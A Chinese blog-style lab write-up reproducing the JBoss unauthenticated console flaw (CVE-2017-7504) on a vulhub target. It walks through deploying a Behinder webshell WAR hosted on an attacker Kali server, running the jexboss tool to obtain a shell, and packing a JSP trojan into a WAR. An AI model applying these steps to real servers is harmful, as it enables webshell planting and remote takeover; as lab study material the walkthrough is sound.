JBOSS未受权访问漏洞复现

1.JBOSS是什么

JBOSS是一个基于J2EE的开放源代码的应用服务器。 JBoss代码遵循LGPL许可,能够在任何商业应用中无偿使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.一、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,通常与Tomcat或Jetty绑定使用。html

2.JBOSS未受权访问是什么

未受权访问管理控制台,经过该漏洞,能够后台管理服务,能够经过脚本命令执行系统命令,如反弹shell,wget写webshell文件。python

3.漏洞环境搭建

漏洞环境:vulhub上的CVE-2017-7504
进入到CVE-2017-7504目录执行docker-compose up -dgit

4.漏洞复现

说白了,这个未受权就是不须要用户名和密码就进入控制台,而后利用应用部署来部署war包,war包里有个jsp的马,而后真香!!!github

靶机的ip为192.168.66.134.
访问192.168.66.134:8080,进入jboss。web

进入控制台

看到以下界面,点击红色框选的:

网上的一些帖子说的是无用户名和密码登陆的,也就是说不须要密码。可是我这里用vulhub搭建的竟然须要用户名和密码,额,我人品的问题???随便试了试,用户名、密码都是admin,进入控制台。
docker

进入应用部署页面

又点这个呗,进入应用部署界面。进入以后找到下面的部分:
shell

上马

ParamValue部分填写远程服务器上的木马的地址。
这里用kali的apache2来弄,毕竟简单。
进入kali,输入service apache2 start启动apache2.(能够输入service apache2 status来看看是否开启,下图就是开启状态了)

而后即是将war包放在/var/www/html目录,至于为啥放这里,请自行百度一哈。
我这里用的是冰蝎的bingxie.war。

而后就是在ParamValue处填写地址了,我这里就填写http://192.168.66.129/bingxie.war
注:192.168.66.129是kali的ip地址
而后就点Invoke。回显一下页面,就知道能够了。

去看看到底弄好没,输入http://192.168.66.134:8080/bingxie/
后面的bingxie就是前面部署的war包的名字

看到了shell.jsp,能够拿出冰蝎了。
apache

5.jexboss工具

安装方法:

git clone https://github.com/joaomatosf/jexboss
cd jexboss
python3 jexboss.py

出现如下界面即是可以正常使用。

也能够输入python3 jexboss.py -h查看具体参数。
这里我是输入:python3 jexboss.py -u 192.168.66.134:8080
执行命令后出现下面的界面就说明能够搞事情:

等执行完后会弹出个选择yes or no,固然选yes。yes就是建立链接。
一输入yes,我本机的火绒就搞事情了。。。

真就管的宽,不过我喜欢!!!
回到正题,输入yes后,就会有个shell的命令行,舒服啊!
服务器

6.war的制做

首先你得有Java环境,而后进入jdk目录下的bin目录(例如C:\Program Files\Java\jdk1.8.0_101\bin),进入命令行。
输入jar cvf shell.war shell.jsp
注:shell.war是你要作出了的war文件,shell.jsp是提早准备的jsp木马文件

诶,弄完了。。。溜了溜了,防护啥的随便找点文章看看,多的很。jsp